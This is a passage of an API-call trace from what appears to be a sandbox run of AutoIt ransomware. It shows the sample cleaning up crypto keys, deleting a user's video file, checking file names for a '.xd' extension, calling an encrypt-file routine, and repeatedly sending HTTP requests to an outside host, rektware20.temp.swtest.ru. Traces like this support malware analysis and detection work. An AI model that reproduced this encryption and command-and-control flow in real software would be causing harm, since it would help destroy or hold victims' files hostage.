lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.460] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.460] CryptDestroyKey (hKey=0x164c9b0) returned 1 [0067.460] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.460] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.460] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.460] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.460] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.460] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.460] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.460] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.461] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.461] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.461] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.461] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.461] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.461] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.461] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.461] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.461] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.461] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.461] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.461] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.461] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.461] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.462] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.462] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0067.462] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.462] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.462] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.462] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.462] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.462] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.462] CloseHandle (hObject=0x2ac) returned 1 [0067.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.462] CloseHandle (hObject=0x3bc) returned 1 [0067.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.467] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.467] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", lpFilePart=0x0) returned 0x43 [0067.467] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\5pucv7xxdpd6s1w4s.avi")) returned 0x20 [0067.467] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0067.468] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\5pucv7xxdpd6s1w4s.avi")) returned 1 [0067.470] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.470] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0067.470] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.470] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.470] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.470] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.471] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.471] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.471] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.471] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.472] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.472] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.472] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.472] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fe8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fe8, lpdwBufferLength=0x130ef8c) returned 1 [0067.472] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.472] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.472] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.473] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.473] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.473] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.473] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.473] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.473] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.474] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.474] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.474] CloseHandle (hObject=0x0) returned 0 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.475] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dfXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fXi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xi7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gEtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EtNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tNJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NJdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jdy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dy.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.476] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.476] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.476] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.476] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.476] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.476] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.477] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.477] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.477] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.477] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0067.477] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.477] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.477] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.478] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.478] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, 